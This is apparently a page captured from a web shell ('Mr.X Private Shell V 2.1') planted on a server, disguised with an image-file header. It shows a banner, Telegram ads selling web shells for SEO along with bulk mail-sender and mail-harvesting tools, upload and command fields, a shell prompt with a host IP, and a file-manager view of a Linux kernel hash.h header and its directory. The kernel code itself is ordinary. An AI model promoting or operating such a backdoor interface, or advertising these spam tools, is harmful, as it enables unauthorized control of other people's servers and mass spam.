����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#ifndef _LINUX_HASH_H
#define _LINUX_HASH_H
/* Fast hashing routine for ints,  longs and pointers.
   (C) 2002 Nadia Yvette Chambers, IBM */

#include <asm/types.h>
#include <linux/compiler.h>

/*
 * The "GOLDEN_RATIO_PRIME" is used in ifs/btrfs/brtfs_inode.h and
 * fs/inode.c.  It's not actually prime any more (the previous primes
 * were actively bad for hashing), but the name remains.
 */
#if BITS_PER_LONG == 32
#define GOLDEN_RATIO_PRIME GOLDEN_RATIO_32
#define hash_long(val, bits) hash_32(val, bits)
#elif BITS_PER_LONG == 64
#define hash_long(val, bits) hash_64(val, bits)
#define GOLDEN_RATIO_PRIME GOLDEN_RATIO_64
#else
#error Wordsize not 32 or 64
#endif

/*
 * This hash multiplies the input by a large odd number and takes the
 * high bits.  Since multiplication propagates changes to the most
 * significant end only, it is essential that the high bits of the
 * product be used for the hash value.
 *
 * Chuck Lever verified the effectiveness of this technique:
 * http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
 *
 * Although a random odd number will do, it turns out that the golden
 * ratio phi = (sqrt(5)-1)/2, or its negative, has particularly nice
 * properties.  (See Knuth vol 3, section 6.4, exercise 9.)
 *
 * These are the negative, (1 - phi) = phi**2 = (3 - sqrt(5))/2,
 * which is very slightly easier to multiply by and makes no
 * difference to the hash distribution.
 */
#define GOLDEN_RATIO_32 0x61C88647
#define GOLDEN_RATIO_64 0x61C8864680B583EBull

#ifdef CONFIG_HAVE_ARCH_HASH
/* This header may use the GOLDEN_RATIO_xx constants */
#include <asm/hash.h>
#endif

/*
 * The _generic versions exist only so lib/test_hash.c can compare
 * the arch-optimized versions with the generic.
 *
 * Note that if you change these, any <asm/hash.h> that aren't updated
 * to match need to have their HAVE_ARCH_* define values updated so the
 * self-test will not false-positive.
 */
#ifndef HAVE_ARCH__HASH_32
#define __hash_32 __hash_32_generic
#endif
static inline u32 __hash_32_generic(u32 val)
{
	return val * GOLDEN_RATIO_32;
}

static inline u32 hash_32(u32 val, unsigned int bits)
{
	/* High bits are more random, so use them. */
	return __hash_32(val) >> (32 - bits);
}

#ifndef HAVE_ARCH_HASH_64
#define hash_64 hash_64_generic
#endif
static __always_inline u32 hash_64_generic(u64 val, unsigned int bits)
{
#if BITS_PER_LONG == 64
	/* 64x64-bit multiply is efficient on all 64-bit processors */
	return val * GOLDEN_RATIO_64 >> (64 - bits);
#else
	/* Hash 64 bits using only 32x32-bit multiply. */
	return hash_32((u32)val ^ __hash_32(val >> 32), bits);
#endif
}

static inline u32 hash_ptr(const void *ptr, unsigned int bits)
{
	return hash_long((unsigned long)ptr, bits);
}

/* This really should be called fold32_ptr; it does no hashing to speak of. */
static inline u32 hash32_ptr(const void *ptr)
{
	unsigned long val = (unsigned long)ptr;

#if BITS_PER_LONG == 64
	val ^= (val >> 32);
#endif
	return (u32)val;
}

#endif /* _LINUX_HASH_H */

Filemanager

Name Type Size Permission Actions
sched Folder 0755
unaligned Folder 0755
align.h File 339 B 0644
arm-smccc.h File 5.63 KB 0644
atomic.h File 363 B 0644
bitfield.h File 5.33 KB 0644
bitmap.h File 4.82 KB 0644
bitops.h File 2.15 KB 0644
bits.h File 1.17 KB 0644
btf_ids.h File 5.97 KB 0644
bug.h File 442 B 0644
build_bug.h File 3.04 KB 0644
compiler-gcc.h File 1.24 KB 0644
compiler.h File 5.82 KB 0644
compiler_types.h File 1.09 KB 0644
const.h File 421 B 0644
coresight-pmu.h File 2.32 KB 0644
ctype.h File 1.9 KB 0644
debug_locks.h File 288 B 0644
delay.h File 117 B 0644
err.h File 1.99 KB 0644
export.h File 129 B 0644
filter.h File 9.59 KB 0644
find.h File 5.77 KB 0644
ftrace.h File 120 B 0644
gfp.h File 322 B 0644
gfp_types.h File 46 B 0644
hardirq.h File 280 B 0644
hash.h File 2.93 KB 0644
hashtable.h File 4.44 KB 0644
interrupt.h File 129 B 0644
interval_tree_generic.h File 6.7 KB 0644
irqflags.h File 1.37 KB 0644
jhash.h File 4.46 KB 0644
kallsyms.h File 646 B 0644
kconfig.h File 2.39 KB 0644
kern_levels.h File 954 B 0644
kernel.h File 2.64 KB 0644
linkage.h File 123 B 0644
list.h File 22.48 KB 0644
list_sort.h File 374 B 0644
lockdep.h File 1.43 KB 0644
log2.h File 4.46 KB 0644
math.h File 764 B 0644
math64.h File 1.22 KB 0644
module.h File 270 B 0644
mutex.h File 117 B 0644
nmi.h File 0 B 0644
numa.h File 292 B 0644
objtool_types.h File 1.8 KB 0644
overflow.h File 4.11 KB 0644
poison.h File 2.5 KB 0644
proc_fs.h File 123 B 0644
rbtree.h File 9.32 KB 0644
rbtree_augmented.h File 9.34 KB 0644
rcu.h File 437 B 0644
refcount.h File 4.11 KB 0644
ring_buffer.h File 2.4 KB 0644
rwsem.h File 920 B 0644
seq_file.h File 126 B 0644
sizes.h File 1.12 KB 0644
slab.h File 1.17 KB 0644
spinlock.h File 1.24 KB 0644
stacktrace.h File 678 B 0644
static_call_types.h File 2.74 KB 0644
string.h File 1.4 KB 0644
stringify.h File 380 B 0644
time64.h File 347 B 0644
types.h File 1.72 KB 0644
zalloc.h File 252 B 0644